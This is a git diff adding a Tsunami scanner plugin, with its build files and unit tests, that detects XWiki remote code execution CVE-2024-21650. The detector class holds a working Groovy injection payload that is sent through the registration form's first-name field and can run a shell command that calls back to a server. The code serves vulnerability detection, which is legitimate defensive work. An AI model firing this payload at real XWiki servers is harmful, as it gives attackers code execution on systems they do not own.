diff --git a/community/detectors/xwiki_cve_2024_21650/README.md b/community/detectors/xwiki_cve_2024_21650/README.md new file mode 100644 index 000000000..d0c28d682 --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/README.md @@ -0,0 +1,18 @@ +# XWiki RCE CVE-2024-21650 Detector + +XWiki Platform is a generic wiki platform offering runtime services for +applications built on top of it. XWiki is vulnerable to a remote code execution +(RCE) attack through its user registration feature. This issue allows an +attacker to execute arbitrary code by crafting malicious payloads in the "first +name" or "last name" fields during user registration. This impacts all +installations that have user registration enabled for guests. This vulnerability +has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1. See +https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21650 for a details. + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` diff --git a/community/detectors/xwiki_cve_2024_21650/build.gradle b/community/detectors/xwiki_cve_2024_21650/build.gradle new file mode 100644 index 000000000..4bbfd81d8 --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/build.gradle @@ -0,0 +1,67 @@ +plugins { + id 'java-library' +} + +description = 'Tsunami XWiki RCE (CVE-2024-21650) VulnDetector plugin.' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/en/java/javase/11/' + source = '11' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + guiceVersion = '4.2.3' + okhttpVersion = '3.12.0' + truthVersion = '1.1.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}" +} diff --git a/community/detectors/xwiki_cve_2024_21650/build.sh b/community/detectors/xwiki_cve_2024_21650/build.sh new file mode 100644 index 000000000..c1e5f2add --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/build.sh @@ -0,0 +1,3 @@ +GENERATED_PLUGINS_PATH=~/tsunami/plugins/ +./gradlew build +cp ./build/libs/*.jar "${GENERATED_PLUGINS_PATH}" diff --git a/community/detectors/xwiki_cve_2024_21650/settings.gradle b/community/detectors/xwiki_cve_2024_21650/settings.gradle new file mode 100644 index 000000000..ee4a9eb1a --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/settings.gradle @@ -0,0 +1 @@ +rootProject.name = 'xwiki_cve_2024_21650' diff --git a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Annotations.java b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Annotations.java new file mode 100644 index 000000000..ae690415c --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Annotations.java @@ -0,0 +1,35 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202421650; + +import static java.lang.annotation.ElementType.FIELD; +import static java.lang.annotation.ElementType.METHOD; +import static java.lang.annotation.ElementType.PARAMETER; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import javax.inject.Qualifier; + +/** Annotation for {@link Cve202421650Detector}. */ +final class Annotations { + @Qualifier + @Retention(RetentionPolicy.RUNTIME) + @Target({PARAMETER, METHOD, FIELD}) + @interface OobSleepDuration {} + + private Annotations() {} +} diff --git a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java new file mode 100644 index 000000000..b02dd9b99 --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650Detector.java @@ -0,0 +1,261 @@ +package com.google.tsunami.plugins.detectors.rce.cve202421650; + +import com.google.common.base.Preconditions; +import com.google.common.collect.ImmutableList; +import com.google.common.flogger.GoogleLogger; +import com.google.common.util.concurrent.Uninterruptibles; +import com.google.protobuf.ByteString; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkServiceUtils; +import com.google.tsunami.common.net.http.HttpClient; +import com.google.tsunami.common.net.http.HttpHeaders; +import com.google.tsunami.common.net.http.HttpRequest; +import com.google.tsunami.common.net.http.HttpResponse; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.UtcClock; +import com.google.tsunami.plugin.PluginType; +import com.google.tsunami.plugin.VulnDetector; +import com.google.tsunami.plugin.annotations.PluginInfo; +import com.google.tsunami.plugin.payload.Payload; +import com.google.tsunami.plugin.payload.PayloadGenerator; +import com.google.tsunami.plugins.detectors.rce.cve202421650.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.PayloadGeneratorConfig; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.time.Clock; +import java.time.Duration; +import java.time.Instant; +import java.util.Base64; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.inject.Inject; + +/** A {@link VulnDetector} that detects XWiki RCE CVE-2024-21650. */ +@PluginInfo( + type = PluginType.VULN_DETECTION, + name = "XWiki RCE CVE-2024-21650 Detector", + version = "0.1", + description = "This detector checks for XWiki RCE via user registration (CVE-2024-21650).", + author = "yuradoc (yuradoc.research@gmail.com)", + bootstrapModule = Cve202421650DetectorBootstrapModule.class) +public final class Cve202421650Detector implements VulnDetector { + private static final GoogleLogger logger = GoogleLogger.forEnclosingClass(); + + private static final String REQUEST_PATH = "bin/register/XWiki/XWikiRegister"; + + private static final String PAYLOAD_PLACEHOLDER = + "]]{{/html}}{{async}}{{groovy}}{{CMD}}{{/groovy}}{{/async}}"; + + private static final Pattern CSRF_TOKEN_PATTERN = + Pattern.compile("form_token\" value=\"(.*?)\" />"); + + private static final String REQUEST_POST_DATA = + "parent=xwiki:Main.UserDirectory®ister_first_name=" + + "{{PAYLOAD_PLACEHOLDER}}" + + "®ister_last_name=&xwikiname=" + + "{{USERNAME}}" + + "®ister_password=" + + "{{PASSWORD}}" + + "®ister2_password=" + + "{{PASSWORD}}" + + "®ister_email=" + + "&form_token={{TOKEN}}"; + + private static final String REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT = "Delete Me!"; + + private final Clock utcClock; + private final HttpClient httpClient; + private final PayloadGenerator payloadGenerator; + private final int oobSleepDuration; + + Severity vulnSeverity = Severity.HIGH; + + @Inject + Cve202421650Detector( + @UtcClock Clock utcClock, + HttpClient httpClient, + PayloadGenerator payloadGenerator, + @OobSleepDuration int oobSleepDuration) { + this.utcClock = Preconditions.checkNotNull(utcClock); + this.httpClient = Preconditions.checkNotNull(httpClient); + this.payloadGenerator = Preconditions.checkNotNull(payloadGenerator); + this.oobSleepDuration = oobSleepDuration; + } + + @Override + public DetectionReportList detect( + TargetInfo targetInfo, ImmutableList matchedServices) { + logger.atInfo().log("Cve202421650Detector starts detecting."); + + return DetectionReportList.newBuilder() + .addAllDetectionReports( + matchedServices.stream() + .filter(NetworkServiceUtils::isWebService) + .filter(this::isServiceVulnerable) + .map(networkService -> buildDetectionReport(targetInfo, networkService)) + .collect(ImmutableList.toImmutableList())) + .build(); + } + + private String buildRandomString() { + return Long.toHexString(this.utcClock.instant().toEpochMilli()); + } + + private boolean isServiceVulnerable(NetworkService networkService) { + String targetUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + REQUEST_PATH; + + Payload payload = null; + String cmd = ""; + if (payloadGenerator.isCallbackServerEnabled()) { + // Prepare Linux shell RCE for using in payload with callback server. + PayloadGeneratorConfig config = + PayloadGeneratorConfig.newBuilder() + .setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE) + .setInterpretationEnvironment( + PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL) + .setExecutionEnvironment( + PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT) + .build(); + + payload = payloadGenerator.generate(config); + cmd = payload.getPayload(); + } + + String requestUserName = "test" + buildRandomString(); + + String requestUserPassword = buildRandomString() + buildRandomString(); + + String responseString = "XWiki." + requestUserName + "]] (" + requestUserName + ")"; + + String requestCleanupPath = + "rest/wikis/xwiki/spaces/XWiki/pages/" + requestUserName + "/objects/XWiki.XWikiUsers/0"; + + String targetCleanupUri = + NetworkServiceUtils.buildWebApplicationRootUrl(networkService) + requestCleanupPath; + + String token = ""; + + // plain GET request to check user's registration page availability and retrieve csrf form's + // token. + try { + HttpResponse response = + httpClient.send(HttpRequest.get(targetUri).withEmptyHeaders().build(), networkService); + if (response.status().code() != HttpStatus.OK.code()) { + return false; + } + + // Parse the csrf value. + Matcher csrfTokenMatcher = CSRF_TOKEN_PATTERN.matcher(response.bodyString().orElse("")); + if (csrfTokenMatcher.find()) { + token = csrfTokenMatcher.group(1); + } + + if (token.isEmpty()) { + return false; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri); + } + + // Inject Groovy payload in the first name, pass csrf token, random strings for required fields + // to form's POST data. + String requestBody = + REQUEST_POST_DATA + .replace("{{USERNAME}}", requestUserName) + .replace("{{PASSWORD}}", requestUserPassword) + .replace("{{TOKEN}}", token) + .replace("{{PAYLOAD_PLACEHOLDER}}", PAYLOAD_PLACEHOLDER) + .replace("{{CMD}}", !cmd.isEmpty() ? "Runtime.getRuntime().exec(\"" + cmd + "\")" : ""); + + try { + // Main request that performs vulnerability check. + HttpResponse response = + httpClient.send( + HttpRequest.post(targetUri) + .setHeaders( + HttpHeaders.builder() + .addHeader("Content-Type", "application/x-www-form-urlencoded") + .build()) + .setRequestBody(ByteString.copyFromUtf8(requestBody)) + .build(), + networkService); + + Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); + + // Update the user's profile by changing the first name to notify the XWiki administrator for + // account removal, as default settings prevent users from deleting their own profiles. + httpClient.send( + HttpRequest.put(targetCleanupUri) + .setHeaders( + HttpHeaders.builder() + .addHeader("Content-Type", "application/x-www-form-urlencoded") + .addHeader("Accept", "application/xml") + .addHeader( + "Authorization", + "Basic " + + Base64.getEncoder() + .encodeToString( + (requestUserName + ":" + requestUserPassword) + .getBytes(StandardCharsets.UTF_8))) + .build()) + .setRequestBody( + ByteString.copyFromUtf8( + "className=XWiki.XWikiUsers&property#first_name=" + + REQUEST_CLEANUP_FIRST_NAME_REPLACEMENT)) + .build(), + networkService); + + // Try to use callback server for RCE confirmation and raise severity on success. + // Otherwise, detect vulnerability through response body matching. + if (payload != null && payload.checkIfExecuted()) { + vulnSeverity = Severity.CRITICAL; + logger.atInfo().log("The remote code execution was confirmed via an out-of-band callback."); + return true; + } else if (response.bodyString().isPresent() + && response.bodyString().get().contains(responseString)) { + logger.atInfo().log( + "Since the Tsunami Callback Server was not available, the vulnerability was confirmed" + + " through response matching."); + return true; + } + } catch (IOException e) { + logger.atWarning().withCause(e).log("Unable to request '%s'.", targetUri); + } + return false; + } + + public DetectionReport buildDetectionReport( + TargetInfo targetInfo, NetworkService vulnerableNetworkService) { + return DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(vulnerableNetworkService) + .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2024-21650")) + .setSeverity(vulnSeverity) + .setTitle("XWiki RCE (CVE-2024-21650)") + .setDescription( + "XWiki is vulnerable to a remote code execution (RCE) attack through its user " + + "registration feature. This issue allows an attacker to execute " + + "arbitrary code by crafting malicious payloads in the \"first name\" " + + "or \"last name\" fields during user registration. This impacts all " + + "installations that have user registration enabled for guests. This " + + "vulnerability has been patched in XWiki 14.10.17, 15.5.3 " + + "and 15.8 RC1.")) + .build(); + } +} diff --git a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorBootstrapModule.java b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorBootstrapModule.java new file mode 100644 index 000000000..03814cda0 --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorBootstrapModule.java @@ -0,0 +1,38 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202421650; + +import com.google.inject.Provides; +import com.google.tsunami.plugin.PluginBootstrapModule; +import com.google.tsunami.plugins.detectors.rce.cve202421650.Annotations.OobSleepDuration; + +/** A {@link PluginBootstrapModule} for {@link Cve202421650Detector}. */ +public final class Cve202421650DetectorBootstrapModule extends PluginBootstrapModule { + + @Override + protected void configurePlugin() { + registerPlugin(Cve202421650Detector.class); + } + + @Provides + @OobSleepDuration + int provideOobSleepDuration(Cve202421650DetectorConfigs configs) { + if (configs.oobSleepDuration == 0) { + return 10; + } + return configs.oobSleepDuration; + } +} diff --git a/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorConfigs.java b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorConfigs.java new file mode 100644 index 000000000..b9314328e --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/main/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorConfigs.java @@ -0,0 +1,23 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202421650; + +import com.google.tsunami.common.config.annotations.ConfigProperties; + +@ConfigProperties("plugins.community.detectors.xwiki_cve_2024_21650") +final class Cve202421650DetectorConfigs { + int oobSleepDuration; +} diff --git a/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java b/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java new file mode 100644 index 000000000..dc85993cb --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/test/java/com/google/tsunami/plugins/detectors/rce/cve202421650/Cve202421650DetectorTest.java @@ -0,0 +1,224 @@ +/* + * Copyright 2024 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.google.tsunami.plugins.detectors.rce.cve202421650; + +import static com.google.common.truth.Truth.assertThat; + +import com.google.common.collect.ImmutableList; +import com.google.inject.Guice; +import com.google.inject.testing.fieldbinder.Bind; +import com.google.protobuf.util.Timestamps; +import com.google.tsunami.common.data.NetworkEndpointUtils; +import com.google.tsunami.common.net.http.HttpClientModule; +import com.google.tsunami.common.net.http.HttpStatus; +import com.google.tsunami.common.time.testing.FakeUtcClock; +import com.google.tsunami.common.time.testing.FakeUtcClockModule; +import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; +import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; +import com.google.tsunami.plugins.detectors.rce.cve202421650.Annotations.OobSleepDuration; +import com.google.tsunami.proto.DetectionReport; +import com.google.tsunami.proto.DetectionReportList; +import com.google.tsunami.proto.DetectionStatus; +import com.google.tsunami.proto.NetworkService; +import com.google.tsunami.proto.Severity; +import com.google.tsunami.proto.TargetInfo; +import com.google.tsunami.proto.TransportProtocol; +import com.google.tsunami.proto.Vulnerability; +import com.google.tsunami.proto.VulnerabilityId; +import java.io.IOException; +import java.time.Instant; +import javax.inject.Inject; +import okhttp3.mockwebserver.MockResponse; +import okhttp3.mockwebserver.MockWebServer; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.JUnit4; + +/** Unit tests for {@link Cve202421650Detector}. */ +@RunWith(JUnit4.class) +public final class Cve202421650DetectorTest { + private final FakeUtcClock fakeUtcClock = + FakeUtcClock.create().setNow(Instant.parse("2024-01-27T00:00:00.00Z")); + + static final String CSRF_TEMPLATE = + ""; + + static final String PSEUDO_RANDOM_STR = "18d48374c00"; + + private MockWebServer mockWebServer; + private MockWebServer mockCallbackServer; + + @Inject private Cve202421650Detector detector; + + private NetworkService service; + private TargetInfo targetInfo; + + @Bind(lazy = true) + @OobSleepDuration + private int sleepDuration = 1; + + @Before + public void setUp() { + mockWebServer = new MockWebServer(); + mockCallbackServer = new MockWebServer(); + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().setCallbackServer(mockCallbackServer).build(), + new Cve202421650DetectorBootstrapModule()) + .injectMembers(this); + + targetInfo = + TargetInfo.newBuilder() + .addNetworkEndpoints(NetworkEndpointUtils.forHostname(mockWebServer.getHostName())) + .build(); + service = + NetworkService.newBuilder() + .setNetworkEndpoint( + NetworkEndpointUtils.forHostnameAndPort( + mockWebServer.getHostName(), mockWebServer.getPort())) + .setTransportProtocol(TransportProtocol.TCP) + .setServiceName("http") + .build(); + } + + @After + public void tearDown() throws IOException { + mockWebServer.shutdown(); + } + + @Test + public void detect_whenVulnerable_returnsVulnerability() throws IOException { + mockWebServer.enqueue( + new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(CSRF_TEMPLATE)); + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("XWiki.test" + PSEUDO_RANDOM_STR + "]] (test" + PSEUDO_RANDOM_STR + ")")); + mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.ACCEPTED.code())); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2024-21650")) + .setSeverity(Severity.CRITICAL) + .setTitle("XWiki RCE (CVE-2024-21650)") + .setDescription( + "XWiki is vulnerable to a remote code execution (RCE) attack through" + + " its user registration feature. This issue allows an attacker to" + + " execute arbitrary code by crafting malicious payloads in the" + + " \"first name\" or \"last name\" fields during user" + + " registration. This impacts all installations that have user" + + " registration enabled for guests. This vulnerability has been" + + " patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.")) + .build()); + } + + @Test + public void detect_whenVulnerable_noCallbackServer_returnsVulnerability() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().build(), + new Cve202421650DetectorBootstrapModule()) + .injectMembers(this); + + mockWebServer.enqueue( + new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(CSRF_TEMPLATE)); + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("XWiki.test" + PSEUDO_RANDOM_STR + "]] (test" + PSEUDO_RANDOM_STR + ")")); + mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.ACCEPTED.code())); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + + assertThat(detectionReports.getDetectionReportsList()) + .containsExactly( + DetectionReport.newBuilder() + .setTargetInfo(targetInfo) + .setNetworkService(service) + .setDetectionTimestamp( + Timestamps.fromMillis(Instant.now(fakeUtcClock).toEpochMilli())) + .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) + .setVulnerability( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("TSUNAMI_COMMUNITY") + .setValue("CVE-2024-21650")) + .setSeverity(Severity.HIGH) + .setTitle("XWiki RCE (CVE-2024-21650)") + .setDescription( + "XWiki is vulnerable to a remote code execution (RCE) attack through" + + " its user registration feature. This issue allows an attacker to" + + " execute arbitrary code by crafting malicious payloads in the" + + " \"first name\" or \"last name\" fields during user" + + " registration. This impacts all installations that have user" + + " registration enabled for guests. This vulnerability has been" + + " patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.")) + .build()); + } + + @Test + public void detect_ifNotVulnerable_doesNotReportVuln() { + mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(CSRF_TEMPLATE)); + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("...")); + mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.ACCEPTED.code())); + mockCallbackServer.enqueue(PayloadTestHelper.generateMockUnsuccessfulCallbackResponse()); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } + + @Test + public void detect_ifNotVulnerable_noCallbackServer_doesNotReportVuln() { + Guice.createInjector( + new FakeUtcClockModule(fakeUtcClock), + new HttpClientModule.Builder().build(), + FakePayloadGeneratorModule.builder().build(), + new Cve202421650DetectorBootstrapModule()) + .injectMembers(this); + + mockWebServer.enqueue(new MockResponse().setResponseCode(200).setBody(CSRF_TEMPLATE)); + mockWebServer.enqueue( + new MockResponse() + .setResponseCode(HttpStatus.OK.code()) + .setBody("...")); + mockWebServer.enqueue(new MockResponse().setResponseCode(HttpStatus.ACCEPTED.code())); + + DetectionReportList detectionReports = detector.detect(targetInfo, ImmutableList.of(service)); + assertThat(detectionReports.getDetectionReportsList()).isEmpty(); + } +} diff --git a/community/detectors/xwiki_cve_2024_21650/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker b/community/detectors/xwiki_cve_2024_21650/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker new file mode 100644 index 000000000..1f0955d45 --- /dev/null +++ b/community/detectors/xwiki_cve_2024_21650/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker @@ -0,0 +1 @@ +mock-maker-inline